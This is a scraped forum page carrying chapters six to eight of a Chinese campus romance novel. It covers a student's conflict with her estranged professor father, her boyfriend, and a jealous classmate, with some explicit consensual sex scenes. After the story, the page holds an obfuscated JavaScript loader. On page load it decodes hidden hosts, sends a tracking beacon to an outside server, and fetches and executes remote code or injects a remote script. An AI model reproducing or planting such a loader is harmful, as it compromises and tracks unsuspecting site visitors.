张立仁并没有马上追过去,因为他看到早晨那个警告他的高大男孩正朝他走过来。“我说的没错吧?宋心文就是那种堕落的女孩子,你跟她在一起不会有好结果的,虽然我不清楚她到底看上你哪一点……”周裕带着轻视的眼光走过张立仁的身旁。“请你等一等。”张立仁想要知道这件传闻的始末,既然在宋心文那边不可能问到什么,在他身上应该多少可以探听到一些。“怎么?你还是不相信我说的吗?”

“你说的那位颜教授是……”

“想要知道更清楚的情报吗?”周裕俊逸的脸上露出不怀好意的笑容。“宋心文什么都不肯跟你讲吧?像这种不可告人的丑闻,她怎么敢告诉你呢?”“你到底说不说?”张立仁开始不耐烦起来。

接下来,在周裕加油添醋的叙说之下,张立仁这才认识了宋心文不为他所知的另一面。走向阴暗的卧房,张立仁心疼地望着蜷缩在床上的人影。

打开床头灯,室内弥漫着昏黄的柔和光线,张立仁侧身躺到宋心文身边,轻轻抚摸着她的头发。“你还来干吗?”宋心文一开口才发现自己哽咽的声音,不想让张立仁知道她刚刚大哭过一场,所以连忙逞强地清了清喉咙。“快走开,我不想看到你。”“你不是说不喜欢就不要来找你吗?”张立仁的嘴角扬着微笑。 她倔强的模样,一向就是她迷人的特色之一呀!

“是呀!那又怎么样?”

其实宋心文挺后悔的,又不是什么大不了的事情,她竟然可以跟他吵得这么严重,回来之后她想了很多,不管张立仁听到什么传言,他并没有当场跟她翻脸,反而想亲自听听她的解释,他已经够包容她了,为什么她竟然这么不知足,还要跟他吵架呢?“可是我喜欢呀!”张立仁扳过宋心文的身子。“心文,就是因为我喜欢,所以才会这么在意。这件事情应该没那么严重吧?才跟你吵两句,你就想把我踢走啊?”“你喜欢什么呀!”听到张立仁有如告白的话语,宋心文的心马上融化了,刚刚的委屈和受伤,此刻早已不知飞到哪儿去了。“我喜欢你呀!笨蛋。”张立仁伸手抹掉宋心文脸上的泪痕。“你有这么脆弱吗?我怎么不知道?刚刚你不是很骄傲地转身走掉?竟然偷偷跑回来哭,丢不丢人啊?”“你在取笑我吗?”宋心文嘟起唇不满地瞪着张立仁。

“是呀!我就是在取笑你。”张立仁坏心眼地掐着宋心文红通通的小鼻子,不想看到她泪眼汪汪的样子。还是那个充满生气的宋心文比较对他的眼。“讨厌,你这个讨厌鬼!”宋心文扑了过去,将张立仁压制在自己身体底下,像个高高在上的女王,居高临下地骑着他。“我讨厌死你了!”“是这样吗?我怎么一点都看不出来呀?”捉着宋心文细瘦的臂膀,将她的上身扯到自己的胸膛上,张立仁仰起头亲吻着她看起来异常高傲的下巴。“我看你是喜欢死我了吧?不要总是故意说反话!”这个倔强的小家伙就连在言语上也不肯多妥协一些,张立仁恨恨地箍紧她纤细的身子,准备对她来个爱的大反击。“啊!你在干什么啦!很痛耶……”颈项间传来细细的疼痛感觉,宋心文推拒着张立仁的头,没想到他竟然疯了似的啃咬她细致的肌肤。“我在惩罚你。”张立仁咬上瘾了,宋心文细滑的皮肤像是一道诱人的美食,吸引着他前去品尝,让他有变身成吸血鬼的欲望。宋心文弓起背嵴想要闪躲张立仁恶意的攻击,但是肩膀却被他有力的双掌紧紧钳制住,想退也退不了。“看你下回还敢不敢这样!”张立仁如摔跤选手般缠住宋心文姣好的身躯。“动不动就想跟我提分手?哼!门都没有。”渴望的手掌欺上柔软的胸脯,张立仁凝视着宋心文无力垂下的诱人嫣红脸蛋,贪婪地嗅闻着她身上的幽雅体香,下腹窜过一阵控制不了的激烈颤抖,为她的美丽而疯狂。“可以吗?我想做。”

宋心文轻轻点头应允了张立仁温柔的请求,作风一向直接大胆的她从来不会在这种事情上扭扭捏捏。翻身将她压在身下,他迫不及待扯下两人身上的衣物,直到完全裸裎相对。“虽然我不高兴你有事情瞒着我,但是我愿意相信你,并且愿意等待,总有一天你会向我投诚的。”“立仁……”其实也没什么好隐瞒的,她只是不习惯与人分享心事罢了。刚刚大哭一场之后她就已经想通了,她想要告诉他有关她父亲的事情,却被他阻止了。“嘘!别说话,现在什么也不要说,我想跟你做……”

虽然还有一些误会没有解开,但是此刻拥抱在一起的两人,眼底看见的都是彼此最真实的那一面。“好喜欢你……”虽然明了宋心文是个拥有磨人个性的难缠家伙,但是张立仁已经陷入太深,就算她并没有同样深情地回应他,他也不在意了。“心文,我喜欢你……”被他的热切告白给传染,宋心文也拥住他甜蜜又激情地回吻着。“我也是……”低沈的叹息一声之后,宋心文对着张立仁的眼睛又再承诺了一次。“我也是!”

第六章

周六的清晨,在被窝中鼯缩的两人被一长串的电铃声给吵醒。

“一大早的,会是谁啊?”张立仁抓了抓一头乱发,喃喃地抱怨着。

是哪个不速之客在清晨八点扰人清梦啊?

“立仁,你去开门好不好?”宋心文翻了个身将头埋进枕头底下。

“这是你家耶!”张立仁抱怨归抱怨,还是挣扎着起床穿好衣物、整理好仪容,然后走去开门。谁教他昨天把她给累坏了呢?

“哪位?”从门板的猫眼上望出去,张立仁看到一张陌生男人的脸。“请问你要找谁?”门开了一小缝,基于安全考虑的门链还拴在门框上,张立仁盯着看起来非常具有书卷气息的中年男子,有礼地询问着。“你是谁?为什么会在小文家里?”颜清隆没有料到来开门的竟然是个陌生的年轻男子,惊讶之余口气十分不友善。虽然被指责得有点莫名其妙,但基于礼貌,张立仁还是朝门外的人点了点头,顺便解释一下自己的身份。“您好,我是心文的男朋友,请问您是……”“立仁,别让他进来。”披着睡袍的宋心文出现在张立仁身后,用力将大门关上。“小文,你不要这样……”门外传来中年男子不死心的敲门声。

“你这样很没礼貌耶!为什么不让客人进来?”张立仁总算清醒过来了,他打量着宋心文气唿唿的面孔,不晓得她在气些什么。“那位大叔是谁啊?请他进来坐坐吧!”“不要!不准让他进来。”

宋心文现在根本就不想跟父亲见面,前两天颜清隆为了澄清与她之间的关系,特地把她请到校长室去,向校长及她系上的教官说明事件的始末。对于恶作剧被父亲一笑置之,宋心文像个别扭的小孩不肯原谅那个在外人面前打躬作揖、逼着她也一起道歉的父亲。说起来真是个笑话,他根本就没有尽过父亲的义务,竟然还敢大言不惭地向校长说都是他管教不周才会闹出这样的事情。真是笑掉人家的大牙了……

当时宋心文气得甩开颜清隆的手,在校长和教官面前对着他怒吼说这辈子再也不想见到他。这就是她不肯让颜清隆进她家的原因,不过,她还没有时间,应该说是还没有心理准备将这一切告诉张立仁。“告诉我,他是谁?”看到宋心文反常的模样,张立仁马上猜到这就是另一个他所不认识的她。既然对方都找上门了,他当然不会放过这个机会。“你别管这么多啦!”宋心文扯着张立仁的手,想把他拉回卧室。“我们回去补眠。”“我说过了,不可以这么没有礼貌,人家是长辈喔!”张立仁不顾宋心文的反对,硬是将大门打开。“快请进来。”对着外头的大叔亲切地邀请着,张立仁大掌一伸,轻松地推开了宋心文那张明显要发作的脸庞。接下来便是尴尬地面对面,三人各自端坐在客厅一角,气氛既沉重又诡谲。看来要宋心文先开口是不太可能了,她连看对方一眼都不肯呢!只是气鼓鼓地盘坐在单人沙发上生着闷气。“哇哇,”张立仁清了清喉咙。“请问您是……”

“我姓颜,这是我的名片。”颜清隆掏出皮夹,拿了张名片递给眼前自称是宋心文男朋友的年轻小伙子。“耶?你就是颜教授?”终于见到传闻中的男主角,张立仁瞬间凝起凶恶的目光直盯着对方瞧,“你来这里干吗?到底想做什么?”看见张立仁不但没有尴尬的表情,反而还带着怒意瞪视着自己,颜清隆颇为怀疑地望了坐在旁边的宋心文一眼。难道她还没让她的男朋友知道他们的父女关系?“小子,你的火气挺大的嘛!我都还没跟你算账,你倒先嚣张起来了。”颜清隆表情严肃地开始盘问张立仁。“你念哪个系的?大几了?成年了没有?才多大年纪而已,你竟然就跟我的女儿同居?”“你的……女儿?”张立仁讶异地望着颜清隆,不是很敢相信这个突然炸开的消息,他转身推推宋心文的臂膀,要求确认这个消息。“哼!我可不承认他是我父亲。”宋心文偏过头去,怎么也不肯原谅颜清隆。“你不承认也不行,我们父女关系的血缘分分秒秒地在你体内流动着,这是你无论如何也抹灭不了的事实。”“呃,那个……”张立仁尴尬地来回望着他们,这对正在闹脾气的父女俩,固执的侧脸还真是百分之百相像啊!没有人会怀疑他们不是父女。“伯父,您好,我叫张立仁,是自控系大三的学生,我没有跟心文同居,我住在一楼……”仿佛这样解释还少了些什么似的,张立仁想了想之后又补充了一句:“可是我跟心文是很认真地在交往。”张立仁偷偷看了宋心文一眼。好吧!起码他是这样认为啦!套句“她父亲”刚刚说的名言,她不承认也不行,因为他真的是超级认真地看待这段感情。“你跟他解释这么多干吗?都跟你说了我跟这老头根本就没有任何关系!”宋心文极不耐烦地指着大门。“立仁,你快点把他赶出去,我不想看到他!”“心文,你不可以这么没礼貌。”这句话张立仁已经重申三次了。

“我不管,这里是我家,我不欢迎他进来!”宋心文捂着耳朵大叫。

“你不要每次都这么任性……”张立仁拍拍宋心文的头安抚着她。“伯父,您今天来有什么要事吗?”张立仁尚未弄清楚这对父女间复杂纠葛的关系,他们怎么会吵成这样呢?不过以他们固执的个性看来,搞不好原因根本就不值得他们花那么多偏执的情绪来争吵。“小子,可以麻烦你先离开一下吗?我有些事情想跟女儿单独谈谈,你在场的话可能不太方便。”这是他们家族的私事,看来未心文并没有透露太多,可能是不想让外人知道吧!所以颜清隆很干脆地要求张立仁退场。“喔!好。”张立仁听话地起身。

虽然他很想知道到底发生了什么事,不过当事人若不想让他知道的话,他也只能默默地走开。“立仁,你不要走!我不想看到他,你快点把他赶走!”宋心文捉住张立仁,硬是不让他离开。“无所谓,小子,如果她不介意让你在旁边听的话,那你就留下吧!”

“是。”张立仁坐到宋心文身旁,紧握住她冰凉的小手。

“小文,我希望你搬回去跟我们一起住,我和淑雅阿姨都希望好好照顾你,还有你的弟弟至伟、至同,他们都很欢迎你的。”“我不要!”宋心文想也没想就拒绝了。

张立仁愣愣地坐在一旁听着,就目前所得到的资讯,在脑海里翻转出好多种版本的悲惨家庭故事,他心疼地握紧宋心文的手。“你现在才想要扮演父亲的角色,已经来不及了!”宋心文痛苦地对着颜清隆大喊。来不及了!她都已经成年了,小时候那种极度渴望父爱的心情,早就被他的背叛给全部打散了,现在他们已经形同陌路,他还假惺惺地来讲这些做什么?“我讨厌你那种虚伪到极点的面孔,在别人面前装出一副好爸爸的模样,事实上你根本就不是,对我来说,你根本什么都不是!”想到那天在校长室上演的闹剧,宋心文更加地生气,讲话也愈来愈苛刻。“伯父,可以请您先回去吗?心文还在闹脾气的时候,您请再多她都听不进去的。”张立仁决定提前结束这场父女相争的剧码。他们一个拼命地想补偿、一个拼命地想忘记,怎么样都不会有交集的。最好的方法就是各退一步,大家冷静个几天之后再慢慢来谈。看着对自己大发脾气的女儿蜷缩在另一个男人的怀里,颜清隆有种女儿大了终究是别人家的哀伤感觉。叹了口气,颜清隆只能听从张立仁的建议。“好吧!我先回去了,小文,爸爸真的希望能够弥补你,我们都是真心欢迎你来住的,你一定要相信这一点。”送走颜清隆之后,张立仁回到客厅见不到宋心文的身影,马上走进她的卧房,果然看见她把自己缩成一团,蜷在枕头旁边。“在哭吗?”张立仁温柔地从背后拥抱住宋心文。

“才没有!”

“果然,哭的话就不像你了。”张立仁笑着将怀中的宋心文翻转过来。“其实很想哭吧?肩膀可以借你喔!”“哼!不需要!”嘴里说着逞强的话,宋心文的双臂却紧紧攀着张立仁的背嵴,身躯微微颤抖着。看着宋心文故作坚强的模样,张立仁只是温柔地安抚着她,静静地等待她那不想让别人看到的伤心情绪慢慢平复。等到她擡起脸与他对视,眼里早已收拾干净刚刚湿润的雾气。

“想说给我听了吗?”张立仁还是坚持等待,拥有坚韧不拔性格的他总是深信“等久了就是他的”这个不变的真理。宋心文静静地凝视着张立仁,许久之后终于开口了。“他是我爸爸。”

“这已经不是新闻了喔!”张立仁捏着宋心文的鼻子,要求更详细的情报。“在我七岁的时候,他跟那个女人跑了,抛弃了我跟我妈妈。”

“然后呢?”“就这样。”宋心文摇摇头晃掉了张立仁的手指。

“小气鬼,多说一点会死啊?”张立仁气得捧起她的脸颊,恨恨地吻住她。“父女俩失去联络这么多年,却在大学里相逢了,感觉很可疑喔!”张立仁突然间想起了什么。“你是财金系的,干吗特地跑到经济系去修那门必修课?我记得关颍柔曾经说过,不管怎么辛苦,你都不曾跷过那三堂个体经济学,真的很可疑喔!”“你想说什么就说什么,什么可疑不可疑的?”宋心文窘红了脸。

“又来了!你就是爱嘴硬,其实你很思念你爸爸吧?所以才去选修他的课,甚至……是为了见他所以才来念这所大学?”竟然被他毫不留情地识破了,宋心文极不甘心地瞪着张立仁。“不要摆这种脸色给我看,我不会被你吓到的。”张立仁缩起双臂,将宋心文紧紧抱在怀中。“你真的很孩子气耶!那个谣言,你自己去传的,对不对?我从你班上同学那里全都听来了!”怎么猜得这么准?简音可以去当“张半仙”了!诡计轻易地就被揭穿,宋心文讶异不已地继续瞪着张立仁。“你想要借这个绯闻破坏他和那个女人之间的感情,对不对?”张立仁更进一步地猜出宋心文的坏心眼,惩罚性地敲着她的头。“你这个笨蛋!”“干吗骂我?”宋心文气不过地捂着头大叫。“还打我?”

“哪有人这样恶作剧的?只是想要获得你爸爸对你的注意,用得着开这种恶劣的玩笑吗?”“我才不是要他注意我!”

“不然是什么?难不成真的想被他包养啊?”张立仁才不相信宋心文的说词,因为她根本就是个长不大又嘴硬的小女孩。“就算是,那又怎样?”宋心文讲不赢张立仁,又开始撒泼。“我就是那么坏的女生,怎么样?”“不怎么样。”张立仁控制着在怀中蠢动的纤细身躯。“我又不是想跟你吵架,我只是把我猜到的讲出来而已。”挣扎了一阵子之后,宋心文累了,她缩回张立仁怀中安适地栖息着。“我是不是真的很像笨蛋啊?”“是呀!小笨蛋。”张立仁调整着手脚的位置,将宋心文密密实实地纳进自己怀里。“你妈妈呢?”宋心文沉默了一会儿,才说:“我妈很爱他的,就算他们常常吵架,就算他跟别的女人跑掉了,她还是深爱着他。”“嗯!”

“可能是失去他之后太后悔吧!我妈在我高一那年过世了,与其说是因病过世,倒不如说是因为太想念他,抑郁寡欢的心情持续太久,活着也没什么意思,所以就放弃了生存的意念。”“大人的世界,总有一些是我们无法理解的,当初会走到这一步,也是他们自己的选择。”张立仁不知该怎么安慰宋心文,只能把自己想到的话说出来。“我就是没办法原谅他,如果当初他肯偶尔回来看看我们,或许我妈不会一个人悲哀地死去……现在他如此幸福,还有一个健全的家庭,相较于我悲惨的童年,我只要一想到就觉得恨!”“他毕竟是你爸爸,如果真的那么恨他的话,你也不用这么费心地亲近他,你就别再嘴硬了,接受他想要弥补你的心意吧!”“哼!”心事完全被看透的感觉实在很难堪,宋心文再度挣扎了起来,但是被他紧紧抱在怀中,她根本就动弹不得。“那种又恨又爱的感觉你是不会懂的啦!”“是!我不懂,谁会懂你这个小笨蛋到底在想什么啊?”张立仁骂上瘾了,点着她小巧的鼻尖耻笑她的孩子气。“我身家清白,家里从来没发生过这种悲欢离合,所以,就让光明的我来拯救充满阴暗面的你吧!”张立仁低下头,准确地贴上宋心文丰盈的唇瓣。

搞清楚宋心文心底纠结的情绪之后,他终于放心许多,这并不是无法解决的事情呀!只要哪天她想通了,肯原谅她父亲了,他们还是可以重拾往日的天伦之情。张立仁偷偷吁了口气,幸好宋心文不是像流言传的那样被包养,要不然他真的会气爆血管,并且会揍扁那个看起来充满书卷气息的颜教授。“你哪里光明了?还敢说自己身家清白哩!刚认识你的时候根本就不是这样……”宋心文做着毫无意义的闪躲抵抗,到最后还是逃无可逃,被张立仁吻到忘记今夕是何夕。“那你认识的我到底是什么样子的?说来听听,嗯?”张立仁翻身欺了上去,有力的双腿一跨,便将她柔软的身躯轻易地压制在身下。“你……你霸道、任性又自以为是!”宋心文想到刚认识张立仁时,那段被他缠着接送、执意照顾的有趣往事,连善于装冷淡来摆脱男性追求的她,都被他的持之以恒给打败了!“是吗?原来在你眼中我是这个样子的啊!”张立仁压下胸膛,炽热的唇在她颈项间游移。“还有……”宋心文不自觉地呻吟起来,敏感的身体清楚地记得昨天晚上与他共度的激情。“啊!不要,会痒啦……”“还有什么?”张立仁的唇回到宋心文的脸颊,撒下一连串的轻吻。

“你超级好色!”宋心文仰着头承接他的细吻,渴望的身躯开始骚动起来。她姣美的身子总是能轻易引发他潜藏的欲念,只要一沾上,就不可能戒得掉。“哪个男人不好色?尤其,在面对你这么美丽的女人时……”张立仁热烫的下半身开始暧昧地磨蹭着宋心文的小腹,“咱们一起来好色吧!”

第七章

周一的清晨,张立仁一如往常在学校的操场上与校队队员们一起进行晨间特训。时序已经进入秋季,清晨的凉风一吹,就算再怎么贪睡的人,也都精神抖擞、生龙活虎了起来。做完暖身运动后,大伙前前后后地开始跑操场,基本的体能训练之后,开始散开进行个人打击练习。张立仁拿着自己的铝棒,很认真地做着挥击练习。下星期六就要进行大专联赛了,他对自己最近的体能和球感都极有自信,一定可以善学校争取到好成缜。教练一定会后悔承诺大家只要赢了H大就请吃王品台塑牛排,这一回,教练铁定要破产了。队员们为了这个奖赏,可都是拼了命地练习唷!呵呵呵……

西陆首页-]论坛-]情感-]综合-]小书吧

想到不久之后可能会有的豪华版庆功宴,张立仁与一干队员们都如足了劲卖力练习着。啊!又是那个家伙!

站在操场边练习挥击动作的张立仁,远远就看到那个鹤立鸡群的碍眼家伙又不像好意地向他走了过来。又要来向他进新的谗言了吗?难道那天颜教授和宋心文被请到校长室去的新闻还没有传开来?“唷!没想到你的心胸居然这么宽大,都已经知道宋心文是个烂货了,还肯跟她在一起呀?”周裕的口气酸熘熘的,刚在篮球场上练完晨训的他,是特地跑过来消遣张立仁的。根据周裕前两个星期的观察,张立仁知晓宋心文的丑闻之后,竟然还是跟她卿卿我我地走在一起,这令周裕觉得十分不可思议。站在身形高大的周裕身边,身高一七四的张立仁是不会太过自悲啦!不过跟他俊美的面孔比起来,一向自负的张立仁就知道自己被比下去了。忆起这家伙曾经挑衅地说过不知宋心文到底看上他哪一点,再加上他酸熘熘的询问语气,张立仁这才后知后觉地发现他应该是喜欢宋心文的。怎么最近他老是遇到这种口是心非的人种呢?明明心里就不是那样子想的,偏偏嘴巴讲出来的话都毒得要死!“谢谢你的关心,我们的感情与日俱增当中。”张立仁使劲地扭腰挥击,并不打算把周裕的挑衅当真。“你……”周裕无言地瞪着张立仁,有种不知该进还是该退的窘迫感。

显然对方不是真的心胸宽大,就是不把他说的话当作一回事,但周裕不肯相信世界上真的有这么伟大的男性,会不在意现任女友的坏名声。“你是心文的同班同学,我叫你一声学弟应该没关系吧?”张立仁停止了挥击练习,转身与周裕面对面。不跟他讲清楚的话,以后他可能还会再来纠缠,倒不如现在就一次解决。“学弟,如果我是你的话,我会先搞清楚自己想要的到底是什么。”

“为什么?”周裕不解地望着张立仁。

“你喜欢心文吧?”张立仁了然地笑着。“如果你喜欢她的话,为什么要这样恶意散播有关她的谣言呢?”“我才没有喜欢她!”没料到心事会被猜中,周裕难堪地脸红了起来。“而且,那些才不是谣言,我们班的同学都知道,而且宋心文从来都没有否认过这件事。”“她没有否认,也不代表就是承认啊!” 张立仁迟疑了一下,最后还是决定将事实的真相说出来,虽然这么做可能会惹宋心文不高兴,不过,他可不希望她被同学继续误会下去。“经济系的颜教授,也就是你们大家说的那位包养宋心文的教授,其实是宋心文的父亲,因为一些不必要的恶作剧误传,变成了你们听到的那个谣言版本,所以……”“什么?颜教授是她父亲?怎么可能?”周裕觉得有种被“唬弄”的感觉。“你骗人的吧?”“这种事情没必要骗你,况且,心文根本就不在乎你们怎么看她,你当她的同学这么久了,还不懂她的个性吗?”张立仁言尽于此,再多说下去也没什么意思,反正他和宋心文之间的事情跟其他人全都没关系,不管别人怎么看他们、怎么误会他们,都不会影响他们之间的感情。“那她为什么从来都不替自己辩解?甚至,还很开心看到我们谈会她?”周裕实在不能理解为什么会有这样的事情?被同学们误会,甚至被他们排挤!并不是一件愉快的事情呀!难道,宋心文真的有什么说不出的苦衷?

周裕是真的很喜欢宋心文,只是因为被她拒绝过太多次,留不住面子,才会变成仇视她的心态。此刻他的心情好复杂……“其中当然有一些原因,但我不是很方便向你透露,毕竟这是心文的私事。”“你跟她……”周裕很不甘心地追问着。

张立仁露出了大哥哥般的笑容,那是一种跟他平常的形象大相径庭的自信微笑。“我们之间交往得很顺利,谢谢你的关心。”说完,张立仁放下球棒,抱歉地朝周裕挥了挥手。“抱歉,学弟,不能再陪你聊了,我得上场去守备了。”周裕呆愣地看着张立仁迈开步伐往右外野的方向跑去,就算有再多的不甘心,也没有对象肯听他讲了。

第八章

紧拉着身上的传外套,关颍柔紧紧地与宋心文依偎在一起。

“心文,今天风好大喔!你都不会觉得冷吗?”

“还好啦!不会很冷呀!”宋心文的眼神遥望着远方那群正在打棒球的人影,其中有一个是她目前最最喜欢的人喔。她甜甜地对那个奔驰中的身影笑着,以前从来没有过这样的感觉,好像只要能够见到他,自己一整天就会充满元气。“我看你是因为爱火在猛烈燃烧,所以才不觉得冷吧?”随着宋心文的视线望过去,关颍柔马上就知道她的目光正锁定在谁身上。“呵呵!我记得刚认识他的时候,你很讨厌他的,不是吗?没想到最后竟然变成情侣。”关颍柔偷偷闷笑。“果然是命运中的相遇,心文,你有没有很感谢那颗球啊?”讲到这个,换宋心文狂笑了。“我是没有啦!不过我知道立仁偷偷把那颗球带回来,放在自己的书桌上,哈哈!这个笨蛋……”“哇!好甜蜜的感觉喔!你们交往得很顺利喔?”

“嗯!算是很顺利吧!”宋心文遥望着张立仁像阳光一样灿烂的笑脸,不自觉地也跟着笑了起来。“反正,爱吵架的那个人每次都是我,他心情好的时候就陪我吵一下,心情不好的时候就不肯理我了。”“他很包容你的个性呢!”身为宋心文硕果仅存的好友,关颍柔也领教过她的任性,知道她终于遇上这么棒的真命天子,也开心地替她拍着手。“心文,你要好好跟他相处喔!他看起来是个很不错的男人呢!”

“哪能跟你的易大哥比啊!长得高大英俊又深情……”宋心文开着玩笑。 “你别这么说嘛!易大哥是易大哥,张立仁是张立仁啊!不能这样子比较的。”“我知道,我是跟你开玩笑的。”宋心文的眼神还在追逐张立仁,他们那一队的守备已经结束,正慢慢地奔回休息区。“也许立仁长得不够帅、不够有型,充其量只能说是有个性而已,但是他很对我的眼喔!应该说是情人眼里出西施吧,我个人是觉得他帅呆了!”“嗯!我就知道你根本不是‘外貌协会的会员,不然你班上那个帅最近这么猛烈地对你展开追求,你应该早就变心了。”“对呀!他真的很烦耶!我真怀疑那个家伙是不是被外星人绑架过,怎么会突然间变了一个人呢?”周裕的转变吓坏了宋心文,以前他总是毫不留情地对她冷嘲热讽,谁知竟突然开始疯狂追求她,真是吓死人了!“我知道,男生不都是这样的吗?总是爱对偷偷喜欢的女孩子恶作剧,也许他已经喜欢你很久了,只是他一直引不起你的注意,所以才会使用过于偏激的手段。”“他以前是约过我几次,不过都被我拒绝了。”

其实宋心文心里很清楚周裕喜欢她的心情,她只是讶异于他大幅度转变的态度,好像完全忘了他之前说过那些难听的话,而且开始对她很好,还尽力替她拉近和班上同学的关系……也不知他到底是哪根神经突然间想通了!

“听起来很可怜呢!明明是个那么帅的男生,却只会用笨方法追女孩子……”“咦?你觉得惋惜吗?要不要我把周裕介绍给你认识啊?他可不输你的易大哥喔!家里有钱、长得又高又帅,最近还疑似被外星人绑架过,改造成一个温柔体贴的男人。我想一定比你家那个霸道的大男人好上几倍,颍柔,你想不想要啊?”“才不要咧!”关颍柔连忙拒绝。“我只要我的易大哥!”

“是啊!不管另外那个人有多好,都比不上现在这个,对不对?因为,我们都是真心喜欢现在这个情人。”“嗯!”关颍柔非常同意。

应该快要轮到张立仁打击了,看到他拿起球棒在等候区准备着,宋心文突然想起他昨天晚上跟她说的话。“颍柔,星期六要不要一起来加油?立仁他们球队要到H大去比赛。”

“中区大专联合运动会吗?”

“对呀!你有没有空?一起来加油吧!”

“好,没问题,我一定去。”

“要换立仁上场打击了,我们过去替他加油。”

她们快步奔跑过去,由于两大美女的加入旁观,引起棒球队许多男性生物的疯狂口哨声。“立仁,加油!”宋心文在场边朝着张立仁猛挥手。

看到宋心文的出现,张立仁充满自信地比出一个胜利的手势。

在一千人羡慕的鼓噪声中,张立仁击出了穿越二游防区的安打,他迅速狂奔出去的身影,在穿过一垒的时候并没有停下来,反而向二垒垒包奋勇迈进,然后是一记漂亮的滑垒……这是一支毫无疑问的二垒安打。

宋心文开心地又叫又跳,哇!浑身沾满黄土的张立仁,真是帅呆了!

宋心文坐在位置上慢条新理地整理着笔记和文具,最近她已经不像以前那样,下了课就一马当先地冲出教室。原因其实很简单,有关她和颜教授间的不实传言已经渐渐散去,班上的同学也不再像以前那样在背地里编派她的不是了。可以在这个群体里唿吸到平静的空气,宋心文在感激之余,也开始检讨自己以前的任性和不知好歹。那种好像全世界都与自己为敌的委屈感,应该都是她在象牙塔里编织出来的被害情节吧,真要认真说起来的话,谁有那么多时间每天想着要陷害她,故意说她的坏话呢?正值青春年少的他们,每天光是应付课业和恋情,时间就已经不够用了吧?和平相处吧!宋心文最后得到这个结论,与同学们维持着平稳又淡薄的友情就好,不特别交恶,也不刻意封好。由于比赛前一周张立仁放学后都得到球场报到,进行为期一周的特别训练,所以这几天的傍晚宋心文都是一个人回家。没有人在校门口等着自己,下课之后想要飞奔出教室的意愿当然也降到最低。“心文,这个星期六你会到H大去对不对?”周裕抱着一颗篮球潇洒地站在宋心文的座位旁边。“可不可以顺便来替我加油?”这个借口可是不知压下了多少自尊,才开得了口的。

因为他知道,如果直接邀请宋心文去替他加油打气,她一定不会肯的,为此他还特地去打听棒球赛和篮球赛的进行时间,确定时间是错开的之后,才鼓起勇气过来邀请她。“对不起,那天我很忙。”宋心文连头也没擡,以不带一丝火药意味的语气拒绝了。最近她挺同情周裕的,因为他只是一个为爱疯狂的呆子,对他发火是没有用的,只是徒然浪费自己的情绪罢了。“不会耽误你看棒球比赛的,篮球赛是在棒球赛结束之后半小时才开始,心文,你可以来替我们加油吗?”周裕指着教室前方那两位正在鼓吹班上同学去加油的大高个儿说:“我们班上还有另外两个篮球校队,他们都很希望你来替我们加油喔!”宋心文擡头望着讲台的方向,果然前方那两个家伙正不断地向她打躬作揖,一副求她成全的模样。现在是在进行人海战术吗?宋心文不禁觉得有点骄傲,原来自己这么男生的欢迎啊!


上一篇:我的女友是大佬1-10(完)

下一篇:Cindy的大腿


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
